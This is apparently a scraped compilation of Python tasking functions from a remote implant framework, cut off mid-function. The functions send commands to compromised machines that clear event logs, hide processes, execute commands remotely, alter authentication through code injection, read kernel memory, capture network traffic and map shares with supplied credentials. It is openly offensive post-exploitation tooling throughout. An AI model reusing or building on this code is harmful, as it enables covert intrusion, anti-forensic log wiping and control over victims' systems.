def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'flav.cmd.flavcontrol', globals())
    mcl.imports.ImportWithNamespace(namespace, 'flav.cmd.flavcontrol.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['cmd'] == FLAV_CMD_STATUS:
        rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_STATUS
    elif lpParams['cmd'] == FLAV_CMD_AVAILABLE:
        rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_AVAILABLE
    elif lpParams['cmd'] == FLAV_CMD_NETSTAT:
        tgtParams = flav.cmd.flavcontrol.Params()
        tgtParams.bufferSize = lpParams['bufferSize']
        rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_NETSTAT
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    elif lpParams['cmd'] == FLAV_CMD_IPCONFIG:
        tgtParams = flav.cmd.flavcontrol.Params()
        tgtParams.bufferSize = lpParams['bufferSize']
        rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_IPCONFIG
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    else:
        mcl.tasking.OutputError('Unhandled command type (%u)' % lpParams['cmd'])
        return False
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, flav.cmd.flavcontrol.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.arp',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.arp.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    msg = MarshalMessage()
    if lpParams['instruction'] == ARP_QUERY:
        rpc = mca.network.cmd.arp.tasking.RPC_INFO_QUERY
    elif lpParams['instruction'] == ARP_MON:
        if lpParams['entries'] == 0:
            mcl.tasking.EchoError('Number of entries must be non-zero')
            return False
        monParams = mca.network.cmd.arp.MonitorParams()
        monParams.delay = lpParams['delay']
        monParams.entries = lpParams['entries']
        monParams.sendInterval = lpParams['sendInterval']
        if monParams.delay.m_seconds == 0:
            monParams.delay.m_seconds = 1
        rpc = mca.network.cmd.arp.tasking.RPC_INFO_MONITOR
        monParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    elif lpParams['instruction'] == ARP_SCAN:
        scanParams = mca.network.cmd.arp.ScanParams()
        scanParams.delay = lpParams['delay']
        scanParams.startIp = lpParams['startIp']
        scanParams.endIp = lpParams['endIp']
        import mcl.object.IpAddr
        if scanParams.startIp.GetType(
        ) == mcl.object.IpAddr.IpAddr.IPADDR_TYPE_IPV4 and scanParams.startIp.GetAddr(
        ) == 0:
            mcl.tasking.EchoError('Invalid starting IP address')
            return False
        if scanParams.endIp.GetType(
        ) == mcl.object.IpAddr.IpAddr.IPADDR_TYPE_IPV4 and scanParams.endIp.GetAddr(
        ) == 0:
            scanParams.endIp = scanParams.startIp
        if scanParams.delay.m_seconds == 0:
            scanParams.delay.m_seconds = 1
        rpc = mca.network.cmd.arp.tasking.RPC_INFO_SCAN
        scanParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    else:
        mcl.tasking.EchoError('Invalid instruction (%u)' %
                              lpParams['instruction'])
        return False
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.arp.errorStrings)
        return False
    return True
Beispiel #3
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    from os import getpid
    import mcl.status
    mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.handles',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.status.cmd.handles.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['action'] == _ACTION_LIST:
        tgtParams = mca.status.cmd.handles.ParamsQuery()
        tgtParams.processId = lpParams['procid']
        tgtParams.all = lpParams['all']
        tgtParams.memory = lpParams['memory']
        rpc = mca.status.cmd.handles.tasking.RPC_INFO_QUERY
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    elif lpParams['action'] == _ACTION_DUPLICATE:
        tgtParams = mca.status.cmd.handles.ParamsDuplicate()
        tgtParams.processId = lpParams['procid']
        tgtParams.handleValue = lpParams['handleValue']
        rpc = mca.status.cmd.handles.tasking.RPC_INFO_DUPLICATE
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    elif lpParams['action'] == _ACTION_CLOSE:
        tgtParams = mca.status.cmd.handles.ParamsClose()
        tgtParams.processId = lpParams['procid']
        tgtParams.handleValue = lpParams['handleValue']
        rpc = mca.status.cmd.handles.tasking.RPC_INFO_CLOSE
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    else:
        mcl.tasking.OutputError('Unhandled action type')
        return False
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.status.cmd.handles.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.language', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.language.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.survey.cmd.language.Params()
    if lpParams['path'] != None:
        tgtParams.path = lpParams['path']
    if lpParams['file'] != None and len(lpParams['file']) > 0:
        tgtParams.file = lpParams['file']
    else:
        mcl.tasking.EchoError('No file was specified')
        return False
    if lpParams['numLang'] <= 0:
        mcl.tasking.EchoError('Number of OS Languages must be greater than 0')
        return False
    else:
        tgtParams.numLang = lpParams['numLang']
        rpc = mca.survey.cmd.language.tasking.RPC_INFO_QUERY
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.survey.cmd.language.errorStrings)
            return False
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.technique
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.zbng.cmd.authentication', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.zbng.cmd.authentication.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['user'] == None or len(lpParams['user']) == 0:
        mcl.tasking.OutputError('A username must be specified')
        return False
    else:
        tgtParams = mca.zbng.cmd.authentication.Params()
        tgtParams.threadProvider = mcl.tasking.technique.Lookup('AUTHENTICATION', mcl.tasking.technique.TECHNIQUE_MCL_INJECT, lpParams['thread'])
        tgtParams.memoryProvider = mcl.tasking.technique.Lookup('AUTHENTICATION', mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, lpParams['memory'])
        tgtParams.user = lpParams['user']
        rpc = mca.zbng.cmd.authentication.tasking.RPC_INFO_MODIFY
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        taskXml = mcl.tasking.Tasking()
        taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, tgtParams.memoryProvider)
        taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_INJECT, tgtParams.threadProvider)
        mcl.tasking.OutputXml(taskXml.GetXmlObject())
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.zbng.cmd.authentication.errorStrings)
            return False
        return True
def _handleUninstall(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mcf.cmd.diba.ParamsUninstall()
    if lpParams['type'] != None:
        mcl.imports.ImportWithNamespace(namespace, 'mcf.kisu.ids', globals())
        if mcf.kisu.ids.nameTable.has_key(lpParams['type'].upper()):
            tgtParams.instance = mcf.kisu.ids.nameTable[
                lpParams['type'].upper()]
        else:
            mcl.tasking.EchoError('Unknown KISU type (%s)' % lpParams['type'])
            return False
    else:
        tgtParams.instance = lpParams['instance']
    rpc = mcf.cmd.diba.tasking.RPC_INFO_UNINSTALL
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mcf.cmd.diba.errorStrings)
        return False
    else:
        return True
def _handleGeZu_KernelMemory(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.technique
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.gezu.cmd.GeZu_KernelMemory',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.gezu.cmd.GeZu_KernelMemory.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.gezu.cmd.GeZu_KernelMemory.Params()
    tgtParams.baseAddress = lpParams['baseAddress']
    tgtParams.size = lpParams['size']
    rpc = mca.gezu.cmd.GeZu_KernelMemory.tasking.RPC_INFO_GEZU_KERNELMEMORY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    taskXml = mcl.tasking.Tasking()
    mcl.tasking.OutputXml(taskXml.GetXmlObject())
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(
            res, 0, mca.gezu.cmd.GeZu_KernelMemory.errorStrings)
        return False
    return True
def _lpSharesMap(namespace, lpParams):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.shares',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.network.cmd.shares.tasking',
                                    globals())
    if lpParams['target'] == None or len(lpParams['target']) == 0:
        mcl.tasking.OutputError('A target must be specified')
        return False
    else:
        if lpParams['resource'] == None or len(lpParams['resource']) == 0:
            mcl.tasking.OutputError('A resource must be specified')
            return False
        tgtParams = mca.network.cmd.shares.ParamsMap()
        tgtParams.target = lpParams['target']
        tgtParams.resource = lpParams['resource']
        tgtParams.drive = lpParams['drive']
        tgtParams.username = lpParams['username']
        tgtParams.password = lpParams['password']
        tgtParams.domain = lpParams['domain']
        rpc = mca.network.cmd.shares.tasking.RPC_INFO_MAP
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0,
                                          mca.network.cmd.shares.errorStrings)
            return False
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.remoteexecute', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.remoteexecute.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['addr'] == None or len(lpParams['addr']) == 0 or lpParams['cmd'] == None or len(lpParams['cmd']) == 0:
        mcl.tasking.OutputError('An address and command must be specified')
        return False
    else:
        tgtParams = mca.process.cmd.remoteexecute.Params()
        tgtParams.address = lpParams['addr']
        tgtParams.command = lpParams['cmd']
        rpc = mca.process.cmd.remoteexecute.tasking.RPC_INFO_EXECUTE
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        taskXml = mcl.tasking.Tasking()
        taskXml.SetTargetRemote(tgtParams.address)
        mcl.tasking.OutputXml(taskXml.GetXmlObject())
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.process.cmd.remoteexecute.errorStrings)
            return False
        return True
Beispiel #10
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.environment', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.environment.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.process.cmd.environment.Params()
    tgtParams.action = lpParams['action']
    if lpParams['envVar'] != None:
        tgtParams.variable = lpParams['envVar']
    if lpParams['setValue'] != None:
        tgtParams.value = lpParams['setValue']
    if tgtParams.action != mca.process.cmd.environment.ACTION_GET and len(tgtParams.variable) == 0:
        mcl.tasking.OutputError('No environment variable specified for set or delete')
        return False
    else:
        rpc = mca.process.cmd.environment.tasking.RPC_INFO_ACTION
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        taskXml = mcl.tasking.Tasking()
        taskXml.AddSearchMask(tgtParams.variable)
        mcl.tasking.OutputXml(taskXml.GetXmlObject())
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.process.cmd.environment.errorStrings)
            return False
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netconnections', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netconnections.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.network.cmd.netconnections.Params()
    tgtParams.monitor = lpParams['monitor']
    tgtParams.delay = lpParams['delay']
    tgtParams.maximum = lpParams['maximum']
    if lpParams['dataset'] == QUERY_TYPE_ALL:
        tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_ALL
    elif lpParams['dataset'] == QUERY_TYPE_IPONLY:
        tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_IP_ONLY
    elif lpParams['dataset'] == QUERY_TYPE_TCPONLY:
        tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_TCP_ONLY
    elif lpParams['dataset'] == QUERY_TYPE_UDPONLY:
        tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_UDP_ONLY
    elif lpParams['dataset'] == QUERY_TYPE_PIPESONLY:
        tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_PIPES_ONLY
    else:
        mcl.tasking.OutputError('Unknown data set requested')
        return False
    rpc = mca.network.cmd.netconnections.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.netconnections.errorStrings)
        return False
    return True
Beispiel #12
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.technique
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.runaschild', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.runaschild.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.process.cmd.runaschild.Params()
    tgtParams.threadProvider = mcl.tasking.technique.Lookup('RUNASCHILD', mcl.tasking.technique.TECHNIQUE_MCL_INJECT, lpParams['thread'])
    tgtParams.memoryProvider = mcl.tasking.technique.Lookup('RUNASCHILD', mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, lpParams['memory'])
    tgtParams.parentId = lpParams['pid']
    if lpParams['command'] != None:
        tgtParams.command = lpParams['command']
    if len(tgtParams.command) == 0:
        mcl.tasking.OutputError('A command must be specified')
        return False
    else:
        rpc = mca.process.cmd.runaschild.tasking.RPC_INFO_RUN
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        taskXml = mcl.tasking.Tasking()
        taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, tgtParams.memoryProvider)
        taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_INJECT, tgtParams.threadProvider)
        mcl.tasking.OutputXml(taskXml.GetXmlObject())
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.process.cmd.runaschild.errorStrings)
            return False
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.virtualdir
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.copy', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.copy.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['src'] == None or len(lpParams['src']) == 0 or lpParams['dst'] == None or len(lpParams['dst']) == 0:
        mcl.tasking.EchoError('A source and destination must be specified')
        return False
    else:
        tgtParams = mca.file.cmd.copy.Params()
        try:
            tgtParams.src = mcl.tasking.virtualdir.GetFullPath(lpParams['src'])
            tgtParams.dst = mcl.tasking.virtualdir.GetFullPath(lpParams['dst'])
        except:
            mcl.tasking.EchoError('Failed to get full paths for file copy')
            return False

        rpc = mca.file.cmd.copy.tasking.RPC_INFO_COPY
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.file.cmd.copy.errorStrings)
            return False
        return True
def _sendControl(namespace, lpParams):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.dsky.cmd.trafficcapture',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.dsky.cmd.trafficcapture.tasking',
                                    globals())
    tgtParams = mca.dsky.cmd.trafficcapture.ParamsSendControl()
    tgtParams.driver = lpParams['driver']
    if lpParams['control'] == CAPTURE_CONTROL_START:
        tgtParams.controlType = mca.dsky.cmd.trafficcapture.CONTROL_TYPE_START
    elif lpParams['control'] == CAPTURE_CONTROL_STOP:
        tgtParams.controlType = mca.dsky.cmd.trafficcapture.CONTROL_TYPE_STOP
    else:
        mcl.tasking.OutputError('Invalid control type')
        return False
    rpc = mca.dsky.cmd.trafficcapture.tasking.RPC_INFO_SEND_CONTROL
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.dsky.cmd.trafficcapture.errorStrings)
        return False
    return True
Beispiel #15
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.survey.cmd.domaincontroller',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.survey.cmd.domaincontroller.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.survey.cmd.domaincontroller.Params()
    tgtParams.primary = lpParams['primary']
    if lpParams['domain'] != None:
        tgtParams.domain = lpParams['domain']
    rpc = mca.survey.cmd.domaincontroller.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(
            res, 0, mca.survey.cmd.domaincontroller.errorStrings)
        return False
    else:
        return True
def _lpSharesQuery(namespace, lpParams):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.shares',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.network.cmd.shares.tasking',
                                    globals())
    tgtParams = mca.network.cmd.shares.ParamsQuery()
    tgtParams.domain = lpParams['domain']
    tgtParams.password = lpParams['password']
    tgtParams.target = lpParams['target']
    tgtParams.username = lpParams['username']
    if tgtParams.target == None or len(tgtParams.target) == 0:
        tgtParams.target = '127.0.0.1'
    if lpParams['method'] == _NET_USE:
        rpc = mca.network.cmd.shares.tasking.RPC_INFO_QUERY
    elif lpParams['method'] == _WMI:
        rpc = mca.network.cmd.shares.tasking.RPC_INFO_QUERY_WMI
    else:
        mcl.tasking.OutputError('Invalid method')
        return False
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.network.cmd.shares.errorStrings)
        return False
    else:
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.process.cmd.processoptions',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.process.cmd.processoptions.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.process.cmd.processoptions.Params()
    tgtParams.action = lpParams['task']
    tgtParams.elevate = lpParams['elevate']
    tgtParams.processId = lpParams['id']
    tgtParams.setValue = lpParams['setvalue']
    rpc = mca.process.cmd.processoptions.tasking.RPC_INFO_ACTION
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(
            res, 0, mca.process.cmd.processoptions.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.portmap',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.network.cmd.portmap.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.network.cmd.portmap.Params()
    tgtParams.maxPorts = lpParams['maxports']
    tgtParams.memory = lpParams['memory']
    rpc = mca.network.cmd.portmap.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.network.cmd.portmap.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.eventlogclear', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.eventlogclear.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['logfile'] == None or len(lpParams['logfile']) == 0:
        mcl.tasking.OutputError('A log name must be specified')
        return False
    else:
        tgtParams = mca.security.cmd.eventlogclear.Params()
        tgtParams.log = lpParams['logfile']
        if lpParams['remote'] != None:
            tgtParams.target = lpParams['remote']
        if lpParams['classic']:
            tgtParams.flags |= mca.security.cmd.eventlogclear.PARAMS_FLAG_USE_CLASSIC_LOG
        rpc = mca.security.cmd.eventlogclear.tasking.RPC_INFO_CLEAR
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        taskXml = mcl.tasking.Tasking()
        if len(tgtParams.target) > 0:
            taskXml.SetTargetRemote(tgtParams.target)
        else:
            taskXml.SetTargetLocal()
        taskXml.AddSearchMask(tgtParams.log)
        mcl.tasking.OutputXml(taskXml.GetXmlObject())
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.security.cmd.eventlogclear.errorStrings)
            return False
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.technique
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.install.cmd.shutdown',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.install.cmd.shutdown.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.install.cmd.shutdown.Params()
    tgtParams.type = lpParams['exitVal']
    rpc = mca.install.cmd.shutdown.tasking.RPC_INFO_SHUTDOWN
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.install.cmd.shutdown.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netbios', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netbios.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.network.cmd.netbios.Params()
    if lpParams['machinename'] != None:
        tgtParams.target = lpParams['machinename']
    if len(tgtParams.target) > 0:
        tgtParams.target = tgtParams.target.upper()
        if len(tgtParams.target) > 2 and tgtParams.target[0] == '\\' and tgtParams.target[1] == '\\':
            tgtParams.target = tgtParams.target[2:]
    taskXml = mcl.tasking.Tasking()
    if len(tgtParams.target) > 0:
        taskXml.SetTargetRemote(tgtParams.target)
    else:
        taskXml.SetTargetLocal()
    mcl.tasking.OutputXml(taskXml.GetXmlObject())
    rpc = mca.network.cmd.netbios.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.netbios.errorStrings)
        return False
    else:
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.hide',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.hide.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['type'] == HIDE_TYPE_PROCESS:
        tgtParams = mca.security.cmd.hide.ProcessParams()
        tgtParams.unhide = lpParams['unhide']
        if lpParams['metaData'] != None:
            tgtParams.metaData = lpParams['metaData']
        tgtParams.processId = lpParams['intValue']
        rpc = mca.security.cmd.hide.tasking.RPC_INFO_ACTION
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    else:
        mcl.tasking.EchoError('Invalid type (%u)' % lpParams['type'])
        return False
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.security.cmd.hide.errorStrings)
        return False
    else:
        return True
Beispiel #23
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.processinfo',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.process.cmd.processinfo.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.process.cmd.processinfo.Params()
    tgtParams.id = lpParams['id']
    if lpParams['elevate']:
        tgtParams.flags |= mca.process.cmd.processinfo.PARAMS_FLAG_ELEVATE
    if lpParams['performHashes']:
        tgtParams.flags |= mca.process.cmd.processinfo.PARAMS_FLAG_HASH_MODULES
    rpc = mca.process.cmd.processinfo.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
